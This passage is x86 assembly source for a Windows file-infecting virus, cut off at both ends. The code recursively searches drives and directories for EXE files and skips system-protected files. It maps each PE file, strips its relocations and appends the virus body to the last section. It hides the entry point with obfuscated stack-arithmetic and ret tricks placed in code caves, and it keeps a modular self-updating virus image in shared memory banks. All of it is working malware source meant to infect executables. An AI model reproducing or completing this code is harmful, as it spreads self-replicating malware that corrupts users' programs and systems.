cmp dword ptr [edx],'!CeC' ; check for a consistent je skipinitfile ; structure mov dword ptr [edx],'!CeC' ; set the structure active lea edi,[edx+12] ; zeroize the handles buffer mov ecx,32*8 ; for init xor eax,eax repz stosb lea ecx,[edx+1024] ; load the ecx push ecx push edx push ecx ; find the current directory push 260 apicall 220B36AAh,0 ; GetCurrentDirectoryA pop edx pop ecx skipinitfile: andloadfile: lea ecx,[edx+1024] ; load the ecx mov ebx,ecx xor eax,eax gogetagainslash: inc ecx ; Check number of \ wich is cmp byte ptr [ecx],'\' ; the counter of directories jne getnextslash ; level inc eax getnextslash: cmp byte ptr [ecx],0 jne gogetagainslash ; untill the end sub ecx,ebx ;dec eax mov dword ptr [edx+4],ecx ; ecx is a pointer to the 0 end char mov dword ptr [edx+8],eax ; is the directory level mov eax,dword ptr [edx+8] lea eax,[edx+12+eax*8] ; seek to that pointer mov eax,dword ptr [eax+4] ; load value lea ecx,[edx+1024+260] ; point to the find first find next push edx ; save handler, api call scratch it push ecx push eax ; Fapicall 0E5FAADCFh,0,kk94 ; Find the next file, if value ; scratched pop edx cmp eax,0 jne AddOneFile ; is it working ? all right push edx Fapicall 0D15AA8A9h,0,kk103 ; if we reach that point, Find Next ; have failed pop edx cmp eax,12h je goupdirnow mov ecx,dword ptr [edx+4] ; ecx is a pointer to the directory lea ecx,[ecx+edx+1024] ; initing the buffer push ecx mov dword ptr [ecx],'*.*\' ; set it with the zero mov byte ptr [ecx+4],0 lea ecx,[edx+1024] ; initing the buffer lea ebx,[edx+1024+260] ; where we drop it push edx push ebx push ecx Fapicall 04A5BD785h,0,kk126 ; and then find the next file pop edx pop ecx mov dword ptr [ecx],0 ; set it with the zero mov byte ptr [ecx+4],0 cmp eax,-1 je goupdirnow mov ecx,dword ptr [edx+8] lea ebx,[edx+12+ecx*8] ; load the deep counter value mov ecx,dword ptr [ebx] ; load the count value mov dword ptr [ebx+4],eax inc ecx reloadonefile: cmp ecx,0 ; find it X time je AddOneFile dec ecx push ecx push edx push eax lea edx,dword ptr [edx+1024+260] ; then load in the FF buffer push edx push eax Fapicall 0E5FAADCFh,0,kk160 ; find next file pop eax pop edx pop ecx jmp reloadonefile AddOneFile: cmp byte ptr [edx+1024+260+2Ch],'.' je filegoaway bt dword ptr [edx+1024+260],4 jnc dontgodowndir lea esi,[edx+1024+260+2Ch] lea edi,[edx+1024] add edi,dword ptr [edx+4] inc dword ptr [edx+8] mov eax,dword ptr [edx+8] lea eax,[edx+12+eax*8] mov dword ptr [eax],0 mov byte ptr [edi],'\' inc edi loadbbeforenext: lodsb stosb cmp al,0 jne loadbbeforenext jmp andloadfile dontgodowndir: lea ebx,[edx+1024+260+2Ch] searchagain: inc ebx cmp byte ptr [ebx],0 je filegoaway cmp byte ptr [ebx],'.' jne searchagain cmp dword ptr [ebx+1],'EXE' jne filegoaway ; ; registering the file to the file buffer ; lea ecx,[edx+1024+1024] cmp dword ptr [ecx],'!CeC' ; check strcutre je skipinitfilbuff mov dword ptr [ecx],'!CeC' ; set it mov dword ptr [ecx+4],0 skipinitfilbuff: cmp dword ptr [ecx+4],4999 ; max number ja skipregfile xor eax,eax lea ebx,[edx+1024] call gotaload add eax,'\' ; load directory ror eax,3 lea ebx,[edx+1024+260+2Ch] call gotaload lea ebx,[ecx+8] ; load name mov ecx,dword ptr [ecx+4] loadthismasta: cmp ecx,0 ; seek to last entered PE je gogotdropit cmp dword ptr [ebx],eax ; already registered je skipregfile add ebx,8 getnext0: inc ebx cmp byte ptr [ebx-1],0 jne getnext0 dec ecx jmp loadthismasta gogotdropit: inc dword ptr [edx+1024+1024+4] ; increment number of infected mov dword ptr [ebx],eax ; set crc mov dword ptr [ebx+4],0 ; set null file state lea esi,[edx+1024] ; load the directory lea edi,[ebx+8] getnext1236: lodsb stosb cmp al,0 jne getnext1236 mov byte ptr [edi-1],'\' ; drop it lea esi,[edx+1024+260+2Ch] getnext789b: lodsb stosb cmp al,0 jne getnext789b ; drop name jmp skipregfile ; finish work gotaload: push ebx movzx ebx,byte ptr [ebx] ; load crc add eax,ebx pop ebx ror eax,3 inc ebx cmp byte ptr [ebx],0 jne gotaload ret skipregfile: filegoaway: mov ecx,dword ptr [edx+8] lea ebx,[edx+12+ecx*8] ; load the deep counter value push ebx mov eax,dword ptr [ebx+4] ; load the handle lea ebx,[edx+1024+260] ; load the buffer push edx push ebx push eax Fapicall 0E5FAADCFh,0,kk232 ; find the file pop edx pop ebx inc dword ptr [ebx] cmp eax,0 jne AddOneFile ; we reached the last file ? goupdirnow: cmp dword ptr [edx+8],0 jne gonextdir changedrive: lea ecx,[edx+1024] mov dword ptr [edx+12],0 mov dword ptr [edx+16],0 inc byte ptr [ecx] mov word ptr [ecx+2],'\' push edx push ecx Fapicall 0986B615h,0,kk259 ; GetDriveTypeA pop edx ; never talk of project mayhem mov word ptr [edx+1024+2],0 cmp eax,1 jne testtwo mov word ptr [edx+1024],':C' jmp skipinitfile testtwo: cmp eax,3 je andloadfile cmp eax,4 je andloadfile jmp changedrive gonextdir: push edx mov eax,dword ptr [edx+8] lea eax,[edx+12+eax*8] mov eax,dword ptr [eax+4] push eax Fapicall 0A8793DEAh,0,kk290 ; FindClose pop edx lea esi,[edx+1024] add esi,dword ptr [edx+4] decitagain: dec esi cmp byte ptr [esi],'\' ; say it, say it jne decitagain ; I'm tyler durden! mov byte ptr [esi],0 pop edi pop esi pop edx ret ; ; code updator - ; ; Work by the following method ; ; 1ø tell mother to create a mirror of his own module images ; 2ø Send Genetic map of client (module version codes) ; 3ø (if) mother call bee to upgrade selected code to mirror ; 4ø when no virus is dropped, then the mother flush the ; mirror modules to the virus image ; ; mirror is created at bank #34 and flushed to bank #33 wich normally are ; unexistant, but you can play with them if you want, well, you have to ; respect a small structure, if u want to deal, see yourself comment at ; Updated function ; ; isn't that a funky world ? ; ; Shared functions: ; ; void updatorrestart : Repair from a crash during updating ; void CheckUpdated : Server check while connecting of client ; void LoadModulePointer : Load the Module in the update ; void LoadUpdateVersion : Init/Create the updating value ; void FlushModule : Write to Dropped image ; void GetUserValue : See how much hinstances are infecting ; void SetUserValue : Set how much hinstances are infecting ; void incuservalue : Inc the amount of hinstances are infection ; void decuservalue : Dec the amount of hinstances are infection ; void DirectUpdate : Update directly to a module (To be shared with mod) ; updatorrestart: pushad pushad call BuildModulesImage popad mov ecx,34 call LoadBankInfo mov dword ptr [eax+8],0 popad ret LoadModulePointer: pushad push ecx mov ecx,34 call LoadBankInfo pop ecx mov ebx,eax mov eax,modulesize xor edx,edx mul ecx lea eax,dword ptr [eax+ebx+16] mov dword ptr [esp+20h-4],eax popad ret CheckUpdated: ; This call the server to check ; if each the remote virus have pushad call BuildModulesImage popad call LoadUpdateVersion loadpointer ecx ,VersionDirty, up56 mov ecx,dword ptr [ecx] xor eax,eax getnextbla99: cmp cl,bl jae getnext55 pushad push 0 push eax push WM_UPDATE push edx ; apicall 0FBAC7F60h,1 ; SendMessageA popad getnext55: ror ebx,8 ror ecx,8 inc eax cmp eax,modulenumber jne getnextbla99 ret LoadUpdateVersion: ; the mum will update himself ; to the memory area pushad mov ecx,34 ; load the Swap module bank call LoadBankInfo mov edx,eax mov ebx,eax cmp dword ptr [edx],'!CeC' ; check that it's was init. je skipbankinfoit mov dword ptr [edx],'!CeC' ; not ? init it! mov dword ptr [edx+12],0 ; reset the aldorflag push edx mov ecx,33 call LoadBankInfo ; load Dropped Virus image bank mov edx,eax ; set it to edx add edx,(PointerTable-VirusStart)+12 ; we seek to kernel pointer table pop ebx lea edi,[ebx+16] ; point to the module tables xor ecx,ecx ; set null the module counter getthis95: push ecx push edi mov esi,dword ptr [edx+16+ecx*4] ; get module offset lea esi,[edx+esi+16+modulenumber*4] ; from end of kernel mov ecx,dword ptr [esi] ; load size repz movsb ; repz it pop edi pop ecx add edi,modulesize ; add modulesize inc ecx ; increment it cmp ecx,modulenumber ; we did all the counter ? jne getthis95 mov edx,dword ptr [edx-4] ; then load the module val mov dword ptr [ebx+4],edx ; set as updated/loaded mov dword ptr [ebx+8],edx skipbankinfoit: mov ebx,dword ptr [ebx+4] mov dword ptr [esp+20h-4-4-4-4],ebx popad ret UpdateThisModule: pushad push ecx mov ecx,34 ; load the Swap module bank call LoadBankInfo pop ecx mov edx,eax ; set the bank pos cmp dword ptr [edx],'!CeC' ; Check if it's coherent jne skipupdatingit push edx ; save edx place lea edi,[edx+16] ; Set the start of the needed info xor edx,edx mov eax,modulesize mul ecx ; load the offset of it push ecx add edi,eax ; load the offset of the mirror ; of module x mov ecx,33 call LoadBankInfo ; load the virus-module images pop ecx push ecx add eax,(PointerTable-VirusStart)+16 ; we seek to kernel pointer table mov esi,dword ptr [eax+16+ecx*4] ; get module offset lea esi,[eax+esi+16+modulenumber*4] ; from end of kernel mov ecx,dword ptr [esi] ; load module size push esi repz movsb ; copy it to buffer pop esi pop ecx pop edx mov al,byte ptr [esi+5] ; set new place mov byte ptr [edx+8+ecx],al ; skipupdatingit: popad ret ; ; Update bank ; ; Update bank alias #34 is divided in 5 part ; a short header: 0 Cec! marker ; 4 Bank #33 version, Initially set to zero ; 8 Bank #34 version, Initially set to zero ; 12 Infect counter, Initially set to zero ; ; from there, 5 part of modulesize byte, wich contain modules ; SetBank34Module: ;pushad ;mov ecx,34 ;call LoadBankInfo ;popad ; ;mov dword ptr [edx+8],eax ; ;ret FlushModule: ; flush module to virus image pushad ; Your Pain is a white bowl of healing light mov ecx,34 call LoadBankInfo ; load the virus-module images cmp dword ptr [eax],'!CeC' ; Check flush module consistancy jne skipflush mov esi,eax ; set esi as source module call getuservalue ; check if nobody use the user value cmp eax,0 jne skipflush mov eax,-1 ; set it as busy call setuservalue mov ecx,33 call LoadBankInfo ; load the virus-module images push eax mov edx,eax ; set it as dest add edx,12+(PointerTable-VirusStart) ; seek to pointer table in dest lea edi,[edx+modulenumber*4+16] ; set it as end of module ; eh, see all the version updated! mov ecx,dword ptr [esi+8] ; load new version mov dword ptr [esi+4],ecx ; then set it as old version mov dword ptr [edx-4],ecx ; then set it as flush immage version mov dword ptr [eax+8],ecx ; set it as header version add esi,16 ; esi is pointing now to the start of ; mods xor ecx,ecx ; nullify ecx mov byte ptr [edi],90h ; set a nop there inc edi ; increment edi loopitagain: mov ebp,edi ; set current pos in dest sub ebp,edx ; from the end of pointer table sub ebp,modulenumber*4+16 ; mov dword ptr [edx+16+ecx*4],ebp ; put new offset push ecx ; save counter mov ecx,dword ptr [esi] ; load the size push esi ; repz movsb ; copy to the buffer pop esi ; add fix module size add esi,modulesize pop ecx ; load the module number inc ecx cmp ecx,modulenumber jne loopitagain pop eax mov edx,eax sub eax,edi neg eax sub eax,12 mov dword ptr [edx+4],eax ; specify the size mov eax,0 ; nullify the user value call setuservalue skipflush: popad ret getuservalue: pushad mov ecx,34 call LoadBankInfo ; load the flushing-module images getthisoneb: mov edx,dword ptr [eax+12] cmp edx,-1 je getthisoneb mov dword ptr [esp+20h-4],edx popad ret setuservalue: pushad push eax mov ecx,34 call LoadBankInfo ; load the flushing-module images pop dword ptr [eax+12] popad ret incuservalue: pushad mov ecx,34 call LoadBankInfo ; load the flushing-module images getthisonec: mov edx,dword ptr [eax+12] cmp edx,-1 je getthisonec ; dont overwrite fucked value inc dword ptr [eax+12] ; increment pass byte popad ret decuservalue: pushad mov ecx,34 call LoadBankInfo ; load the flushing-module images dec dword ptr [eax+12] ; decrement pass byte popad ret ; ; esi = modul origin ; ecx = module number ; DirectUpdate: pushad push ecx push ecx mov ecx,34 call LoadBankInfo pop ecx push eax lea edi,[eax+16] mov eax,modulesize xor edx,edx mul ecx add edi,eax mov ecx,dword ptr [esi] mov ebx,dword ptr [esi+5] repz movsb pop eax pop ecx mov byte ptr [eax+8+ecx*4],bl popad ret ; ; What modulization assume: ; ; - a routine handler, that may give to routines the power to call ; comon routines and to interact with the common memory buffer. The ; routine is unused, instead of the Oxygen model where it's very very ; used but kept for future use, ah yes, it's used to perform api calls ; - to build a complete and most updated image of the virus included ; latest techs ; - to perform sub module calling, and managing untill the entrypoint ; done also for Init - wich is a basic call and return the InitVal ; that should be PE loaded base ; and Fini that is basically a link to the infect procedure that is ; basically a return to host. ; Note that to deal with this, you need to have a fini compliant with ; EPOZero norms, wich mean keeping a few (primordial) data before the ; PE header, well yes, they may trash the EXE before but who care of ; it ? ; ; Modules have two version in them, the system ; (wich is actually 1) and their own, the EPOZero norm is a bit ; advanced but usable with a few effort to all technologies. ; it needs to drop the return of a call that will be patched by ; a known value ; ; - Internal purpose:-Build virus to the bank #33 (wich is inexistant 4 ; the programmer,wich make it unaccessible in theory) ; -Copy the most updated virus from #33 to bank X ; -Dispatching kernel Function ; -Build mini virus version code ; ; GetMapped equ 1 MApiCall equ 2 LoadLib equ 3 FApiCall equ 4 registernet equ 5 getvirversion equ 6 getmodpointer equ 7 DirectUpdateIt equ 8 LoadBankInfoIt equ 9 PolyMorphising equ 10 RoutineHandler: ; dispatching to Routine handler cmp dword ptr [esp-8],GetMapped jne getother0 jmp GetMappedFile getother0: cmp dword ptr [esp-8],MApiCall jne getother1 jmp ApiCallit getother1: cmp dword ptr [esp-8],LoadLib jne getother2 jmp loadhandle getother2: cmp dword ptr [esp-8],FApiCall jne getother3 jmp ExtendedApiCall getother3: cmp dword ptr [esp-8],registernet jne getother4 jmp registernet0 getother4: cmp dword ptr [esp-8],getvirversion jne getother5 push ebx call LoadUpdateVersion mov eax,ebx pop ebx ret getother5: cmp dword ptr [esp-8],getmodpointer jne getother6 jmp LoadModulePointer getother6: cmp dword ptr [esp-8],DirectUpdateIt jne getother7 jmp DirectUpdate getother7: cmp dword ptr [esp-8],LoadBankInfoIt jne getother8 jmp LoadBankInfo getother8: cmp dword ptr [esp-8],PolyMorphising jne getother9 jmp PolyMorphiseIt getother9: ret LoadModuleTable: ; here it is push ebx push ecx loadpointer ebx, PointerTable, lmt loadpointer ecx, VirusStart, lmt2 sub ebx,ecx mov edx,ebx pop ecx pop ebx ret BuildModulesImage: ; out: ebx = virus offset ; ecx = virus size push ebp mov ecx,33 call LoadBankInfo push eax cmp dword ptr [eax],'CeC!' jne heydoitnow ; ; bank 33 is a CeCile structure: ; ; 0 - CeC header mark ; 4 - virus size ; 8 - bank 33 version ; 12 - bank size ; ; ; mov edx,dword ptr [eax+8] ; loadpointer ecx, VersionDirty, dtt ; ; int 3 ; ; cmp dword ptr [ecx],edx ; jb takeminemine jmp takeminemine heydoitnow: mov dword ptr [eax],'CeC!' push eax lea edi,[eax+12] mov ebx,edi loadpointer esi, VirusStart,bm1 mov ecx, PointerTable-VirusStart ; drop kernel repz movsb mov edx,esi mov ebp,edi mov ecx,StartMod-PointerTable repz movsb mov byte ptr [edi],090h ; set a nop to have ; non void pointers push ebx ; (mean non present mov ebx,edi ; modules) inc edi mov ecx,0 fillit: mov eax,dword ptr [edx+16+ecx*4] ; load module add eax,esi push ecx cmp eax,esi je finishflushing cmp byte ptr [eax+4],1 ; compatible with jne notgoodbye ; kernel 1 ? notgoodbye: push ebx push eax mov al,byte ptr [eax+5] ; load module version sub ebx,16+modulenumber*4+4 ; add ebx,ecx mov byte ptr [ebx],al ; save module version pop eax pop ebx push edi push ebx sub edi,ebx sub ecx,modulenumber neg ecx ; pointer is inverse ; of versions ID shl ecx,2 sub ebx,ecx mov dword ptr [ebx],edi ; save pointer pop ebx pop edi mov ecx,dword ptr [eax] ; load module size push esi mov esi,eax repz movsb ; flush size pop esi finishflushing: pop ecx add ebp,4 inc ecx cmp ecx,modulenumber ; all flushed ? jne fillit mov ebx,dword ptr [edx-4] mov eax,dword ptr [esp+4] mov dword ptr [eax+8],ebx ; set version pop ebx mov ecx,edi sub ecx,ebx pop eax mov dword ptr [eax+4],ecx ; set size call LoadUpdateVersion takeminemine: call FlushModule ; flush modules pop eax mov ecx,dword ptr [eax+4] pop ebp ret CopyVirusImageToBank: push ecx mov ecx,33 call LoadBankInfo ; copy from bank 33 mov esi,eax pop ecx call LoadBankInfo ; to chosen bank mov edi,eax mov ecx,dword ptr [esi+4] add esi,12 repz movsb ret getvirusminiversion: ; load a compressed version of the kernel ; format ( 8 bit ) push eax loadpointer edx,VersionDirty,gvm movzx eax,byte ptr [edx] shl eax,2 ; 4 version of infector add al,byte ptr [edx+1] shl eax,4 ; 16 version of poly add al,byte ptr [edx+2] ; 4 version of payload mov edx,eax pop eax ret Fini0: loadpointer ebx,StartMod, m1 loadpointer edx,InfectMod, m9 add ebx,dword ptr [edx] loadpointer edx,Fini, m1B add ebx,dword ptr [edx] jmp ebx Init0: loadpointer ebx,RoutineHandler, k3 mov eax,ebx loadpointer ebx,StartMod, m2 sub ebx,modulenumber*4 mov ecx,modulenumber ; fix here module number getittomax: cmp dword ptr [ebx],0 je getnextfill push ecx push ebx push dword ptr [ebx] lea ebx,[ebx+ecx*4] mov ecx,dword ptr [esp] add esp,4 add ecx,ebx mov ebx,dword ptr [ecx+4+2] add ebx,ecx mov dword ptr [ebx],eax pop ebx pop ecx getnextfill: add ebx,4 loop getittomax loadpointer edx,Init, m2B cmp dword ptr [edx],0 je skipthatone add ebx,dword ptr [edx] add ebx,dword ptr [edx+8] ; coz Ini/Fini located in code call ebx skipthatone: ret ModuleCall: push edx loadpointer edx, PointerTable, mC1 loadpointer ebx, StartMod, mC2 mov eax,dword ptr [edx+eax*4+16] add eax,ebx mov ebx,dword ptr [eax+4+4+2] add ebx,eax pop edx jmp ebx VersionDirty: db 1,1,1,1 PointerTable: Fini: dd fini_m0-InfectStart FiniVal: dd 0 Init: dd 0 InitVal: dd 0 modulenumber equ 4 InfectMod: dd offset InfectStart-StartMod PolyMod: dd offset PolyStart-StartMod PayloadMod: dd offset PayloadStart-StartMod ComMod: dd offset CommodStart-StartMod ; DebugMod: dd 0 StartMod: ret ; here should come the modules include ; ; Virus memory bank - use memory mapped file to make a shared memory ; there's 32 bank ; ; 0 - CeC! ; 4 - Memory Bank State, bit x = bank is used if equal 1, unused if 0 ; 8 - 32 * 64 for memory communication ; 2056 - 32 * 50000 for memory data ; error equ 0 ; and the error code version equ 4 ; virus version virsize equ 8 ; the virus size valuefill equ 12 ; the module table virusbank equ 16 ; virus bank dropplace equ 20 ; were virus image is dropped infmemsizeof equ 24 setval macro destination, origin mov dword ptr [ebp+&destination&],&origin& endm getval macro origin mov eax,dword ptr [ebp+&origin&] endm InfectStart: dd offset InfectEnd - InfectStart db 1 ; workable system db 1 ; workable infection dd InfectSyscall - InfectStart dd Infectroutine - InfectStart ISyscall macro I_ID_CoDE mov dword ptr [esp-12], I_ID_CoDE call ISyscall0 endm I_apicall macro crcval, libhandle mov edx,libhandle mov eax,crcval ISyscall MApiCall endm I_Init: mov eax,dword ptr [edx+4] ret I_Fini: push 0 I_apicall 01017D1A1h,0 ; get module handle add eax,dword ptr [eax+03Ch] push eax I_apicall 0ACDA53ACh,0 ;GetCurrentProcessId push eax push 0 push 01F0fffh I_apicall 0A2069B15h,0 pop edx mov ecx,dword ptr [esp+20h] sub ecx,4 push edx push dword ptr [edx-10] mov edx,esp push 0 ; 0 - push 4 ; 4 byte to write push edx ; offset of operation push ecx ; offset to base address push eax ; openprocess handle I_apicall 084979262h,0 ; WriteProcessMemory pop edx pop edx mov eax,dword ptr [esp+20h] add eax,dword ptr [edx-10] mov dword ptr [esp-4],eax popad jmp dword ptr [esp-4-20h] ; return to the host :) Infectroutine: ;ISyscall GetMapped ;add ebp,eax push ebp pushad ; ; Objective of this file is 1ø if the file exist ; 2ø if the file can be opened ; Yes - 3ø Save the time state ; 4øOpen file ; ; And then infect it ; ; The virus have a mini routine that scan the stack in order to find a known ; value and then use the precedent values to resize and remap the file ; E_Infect: mov edx,esp sub esp,512 mov edx,esp push esi push edx push esi I_apicall 04A5BD785h,0 ; FindFirst pop esi cmp eax,-1 jne Infectit1 add esp,512 setval error, -1 jmp wefinished Infectit1: push eax I_apicall 0A8793DEAh,0 ; Find Close sub esp,12 mov edx,esp mov dword ptr [edx],12 mov dword ptr [edx+4],0 mov dword ptr [edx+4+4],0 pushad push esi loadpointer edx,SFCLib,api48 mov ecx,0 mov eax,2 ISyscall LoadLib cmp eax,0 pop edx ; restore name je skiptest push eax push edx push 0 I_apicall 0D23E5722h,2 ; SfcIsFileProtected pop edx push eax push edx I_apicall 1740CD46h,0 ; freelibraryA pop eax cmp eax,0 je skiptest popad add esp,512+12 setval error,-95 ; file protected jmp wefinished skiptest: popad push edx push 0 push 80h push 3 ; OPEN_EXISTING push edx push 1 ; FILE_SHARE_READ push 80000000h or 40000000h ; GENERIC_READ or GENERIC_WRITE push esi I_apicall 193E83EEh, 0 ; CreateFileA pop edx cmp eax,-1 jne Infectit2 add esp,512+12 setval error,2 jmp wefinished Infectit2: push 21021981 push eax push eax push edx push 0 push eax I_apicall 3508A453h,0 ; GetFileSizeA pop edx pop ebx push 0 push eax push 0 push 4 push edx push ebx I_apicall 97E2AF98h,0 ; CreateFileMappingA push eax push 0 push 0 push 0 push 000F001Fh push eax I_apicall 3D547DB1h,0 ; MapViewOfFile push eax neg eax push eax neg eax call testinf cmp eax,0 jne skipinf call killrelocs getval virsize push eax setval virsize,banksize call dropcode pop eax setval virsize,eax call updatecode call HideEP cmp eax,-1 je goaway5 call hookres call RebuildLoaded jmp goaway5 skipinf: cmp eax,1 jne goaway5 call updatecode jmp goaway5 ; ; testing infection ; testinf: mov esi,eax cmp word ptr [esi],'ZM' ; exe ? je itsexec setval error, -16 mov eax,-1 ret itsexec: mov eax,dword ptr [esi+03Ch] lea edi,[eax+esi] cmp dword ptr [edi],'EP' ; PE ? je itsexec2 setval error, -17 mov eax,-1 ret itsexec2: bt dword ptr [edi+22],12 jc notprog bt dword ptr [edi+22],13 ; application ? jnc notprog setval error, -18 mov eax,-1 ret notprog: movzx edx,word ptr [edi+20] lea edx,[edi+edx+24] mov eax,dword ptr [edi+40] mov ecx,dword ptr [edx+12] add ecx,dword ptr [edx+8] cmp eax,ecx jb thatsfine ; entrypoint in code section ? setval error, -19 mov eax,-1 ret thatsfine: push edx mov eax,dword ptr [edi+8] mov ecx,24 xor edx,edx div ecx cmp edx,0 jne processinfection ; not infected ? cmp byte ptr [edi-1],al jne processinfection pop edx mov eax,04000h add al,byte ptr [edi-2] ; set file state infected setval error, eax mov dl,al getval version cmp dl,al ; for future flush jae doitright mov byte ptr [edi-2],dl mov eax,1 ; reflush it ! doitright: ret processinfection: cmp dword ptr [edi+132],0 ; check that export is not jne damnthatit ; null! setval error,-25 mov eax,-1 ret damnthatit: inc eax mov byte ptr [edi-1],al xor edx,edx mul ecx mov dword ptr [edi+8],eax pop edx mov ecx,dword ptr [edx+16] ; code section cmp ecx,dword ptr [edx+8] ja allright ; check code section normal ; to use nulls at the end setval error,-18 mov eax,-1 ret allright: getval version ; set version mov byte ptr [edi-2],al xor eax,eax ret killrelocs: or word ptr [edi+22], 1 movzx ecx,word ptr [edi+6] push edx getitnow: mov dword ptr [edx+24],0 mov dword ptr [edx+24+4],0 ; zero the reloc to each mov dword ptr [edx+24+8],0 ; section add edx,40 loop getitnow pop edx mov eax,dword ptr [edi+160] ; zeroizing the cmp eax,0 je getthatnow call RVA2Offset ; reloc table push edi mov ecx,dword ptr [edi+164] lea edi,[esi+eax] repz stosb ; zero the section pop edi mov dword ptr [edi+160],0 ; zero the reloc size mov dword ptr [edi+164],0 push edx mov ebx,edx movzx eax,word ptr [edi+6] xor edx,edx mov ecx,40 dec eax mul ecx push edi lea edi,[ebx+eax] cmp dword ptr [edi],'ler.' ; kill section jne skipgetit mov ecx,40 xor eax,eax repz stosb ; zero it from disk pop edi dec word ptr [edi+06] push edi skipgetit: pop edi pop edx getthatnow: ret dropcode: push edx movzx eax,word ptr [edi+06] ; load number of section mov ecx,40 ; size of section xor edx,edx dec eax mul ecx ; go to last section pop edx ; restore edx wich point ; to start of section lea ebx,[edx+eax] or byte ptr [ebx+36],01000000b ; modify the segment state and byte ptr [ebx+36],1111111b or byte ptr [ebx+36+3],10000000b getval virsize ; load the size add eax,4 add eax,dword ptr [ebx+8] xor edx,edx mov ecx,dword ptr [edi+60] div ecx ; inc eax xor edx,edx mul ecx ; mov edx,dword ptr [ebx+8] add edx,dword ptr [ebx+12] push edx add edx,dword ptr [edi+52] ; calculate were virus binary setval dropplace,edx ; is placed pop edx mov dword ptr [edi-10],edx ; save it near "PE" mov edx,dword ptr [ebx+20] add edx,dword ptr [ebx+8] mov dword ptr [ebx+8], eax mov dword ptr [ebx+16], eax push edx add eax,dword ptr [ebx+20] ; now calculate exact size call ResizeAndRemap ; remap it! sub ebx,edi mov edi,dword ptr [esi+03Ch] add edi,esi add ebx,edi mov eax,dword ptr [ebx+8] xor edx,edx mov ecx,dword ptr [edi+56] div ecx inc eax xor edx,edx mul ecx mov dword ptr [ebx+8],eax ; set the section size! add eax,dword ptr [ebx+12] mov dword ptr [edi+80],eax ; set image size movzx edx,word ptr [edi+20] lea edx,[edx+edi+24] pop eax mov dword ptr [edi-6],eax ; set loaded size ret ; ; Hide Entry Point ; ; ; The idea, well, as usal, a call or a jmp in the last section is very ; suspicious, here we use a program opcode in order to jump to our virus. ; You will tell me how if we don't use call/jmp, well, we will fake a ret ; ; The idea is the following: ; ; PUSHAD <- this for restoring state ; PUSH Imm ; XOR dword ptr [esp], Imm ; ADD dword ptr [esp], Imm ; SUB dword ptr [esp], Imm ; ROL/ROR dword ptr [esp],Imm ; jmp to ret ; ; we have in fact two possibility, drop this code in alignment cave and/or ; drop in the end of code section, wich have often series of zeroes coz ; alignment ; HideEP: sub esp,24 connectval equ 0 dispval equ 4 doomconstate equ 8 bottomoffset equ 12 upperoffset equ 16 savecount equ 20 mov dword ptr [esp+bottomoffset],0 ; for linking mov dword ptr [esp+upperoffset],0 mov dword ptr [esp+doomconstate],0 mov eax,dword ptr [edi-10] add eax,dword ptr [edi+52] mov dword ptr [esp+dispval],eax ; load code value mov ebx,dword ptr [edx+20] add ebx,esi mov ecx,dword ptr [edx+16] mov eax,dword ptr [edx] xor eax,dword ptr [edi+8] and eax,111111b inc eax sub esp,4 getagetagain: inc ebx cmp byte ptr [ebx],0C3h ; search for a ret inside the jne getagetagain5 ; code mov dword ptr [esp],ebx ; it will be dead point dec eax cmp eax,0 je getagainfinish getagetagain5: loop getagetagain getagainfinish: pop ebx call Offset2RVA mov dword ptr [esp+connectval],ebx ; set it to connect value mov eax,5 call loaddropplace ; search for a jump cmp eax,-1 je stopinfection call makeaconnectjmp ; place jump to there push edx mov ecx,7 mov eax,ebx sub eax,esi xor edx,edx div ecx mov eax,edx and eax,11b ; une valse … 3 temps cmp eax,0 jne nonoprob11 inc eax nonoprob11: mov ecx,eax pop edx weneedtogetit: mov dword ptr [esp+savecount],ecx mov eax,14 call loaddropplace mov ecx,dword ptr [esp+savecount] cmp eax,-1 je stopinfection ; au premier temps de la valse mov eax,esi add eax,dword ptr [edx+20] mov eax,dword ptr [eax+ecx*8] add eax,dword ptr [edi+8] push edx push eax mov eax,esi add eax,dword ptr [edx+20] mov eax,dword ptr [eax+ecx*8+4] add eax,dword ptr [edi+8] mov ecx,3 xor edx,edx div ecx pop eax mov byte ptr [ebx],081h ; set an instruction ; playing on stack cmp edx,0 jne gotoneinst1 mov byte ptr [ebx+1],04h sub dword ptr [esp+4+dispval],eax gotoneinst1: cmp edx,1 jne gotoneinst2 mov byte ptr [ebx+1],02Ch ; add add dword ptr [esp+4+dispval],eax gotoneinst2: cmp edx,2 jne gotoneinst3 mov byte ptr [ebx+1],034h ; sub xor dword ptr [esp+4+dispval],eax gotoneinst3: mov byte ptr [ebx+2],24h ; xor mov dword ptr [ebx+3],eax add ebx,7 pop edx call makeaconnectjmp ; then connect a jmp sub dword ptr [esp+connectval], 7 mov ecx,dword ptr [esp+savecount] dec ecx cmp ecx,0 jne weneedtogetit ; x times done ? mov eax,11 call loaddropplace ; search for a push cmp eax,-1 je stopinfection mov dword ptr [esp+doomconstate],ebx mov eax,dword ptr [esp+dispval] mov word ptr [ebx],6860h ; pushad push mov dword ptr [ebx+2],eax add ebx,6 call makeaconnectjmp ; jmp to mov ebx,dword ptr [esp+doomconstate] sub ebx,esi sub ebx,dword ptr [edx+20] add ebx,dword ptr [edx+12] mov dword ptr [edi-10],ebx ; set entrypoint stopinfection5: ; of this little ; messing code add esp,24 ret stopinfection: setval error, -20 jmp stopinfection5 ; blop blop blop - - - - - - - - - - - - - - - - - - - - - - - - - - - - loaddropplace: push eax call loadcave pop eax cmp ebx,-1 ; no cave ? jne returnme cmp dword ptr [esp+4+upperoffset],0 ; check for init jne setitright ; upper offset mov ecx,eax mov ebx,dword ptr [edx+20] add ebx,dword ptr [edx+16] add ebx,esi mov dword ptr [esp+4+upperoffset],ebx ; ok setitright: cmp dword ptr [esp+4+doomconstate],0 je getthatmoo cmp dword ptr [esp+4+bottomoffset],0 ; no bottom offset? je setitright0 mov ebx,dword ptr [esp+4+bottomoffset] add eax,ebx cmp eax,dword ptr [esp+4+upperoffset] ja caca1 ; no collision betwenn bot ; and upper offset mov dword ptr [esp+4+bottomoffset],eax jmp gotonextone1 setitright0: mov ebx,dword ptr [esp+4+upperoffset] caca2: dec ebx cmp byte ptr [ebx],0 ; calculate dead space je caca2 inc ebx gotonextone: mov dword ptr [esp+4+bottomoffset],ebx add dword ptr [esp+4+bottomoffset],eax ; load next bottom gotonextone1: ; offset mov dword ptr [esp+4+doomconstate],0 jmp gothootme getthatmoo: inc dword ptr [esp+4+doomconstate] mov ebx,dword ptr [esp+4+upperoffset] mov ecx,eax inc ecx getthatmoo1: dec ebx cmp byte ptr [ebx],0 jne caca1 loop getthatmoo1 ; calculate dead space inc ebx returnme: mov dword ptr [esp+4+upperoffset],ebx ; set it 